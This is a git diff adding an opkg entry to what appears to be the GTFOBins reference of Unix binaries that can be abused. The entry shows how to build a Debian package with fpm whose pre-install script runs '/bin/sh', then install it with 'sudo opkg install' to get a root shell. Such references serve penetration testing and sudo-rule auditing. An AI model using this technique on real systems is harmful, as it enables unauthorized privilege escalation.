Add opkg

_gtfobins/opkg.md

@@ -0,0 +1,13 @@
+---
+functions:
+  sudo:
+    - description: |
+        It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
+        ```
+        TF=$(mktemp -d)
+        echo 'exec /bin/sh' > $TF/x.sh
+        fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
+        ```
+      code: |
+        sudo opkg install x_1.0_all.deb
+---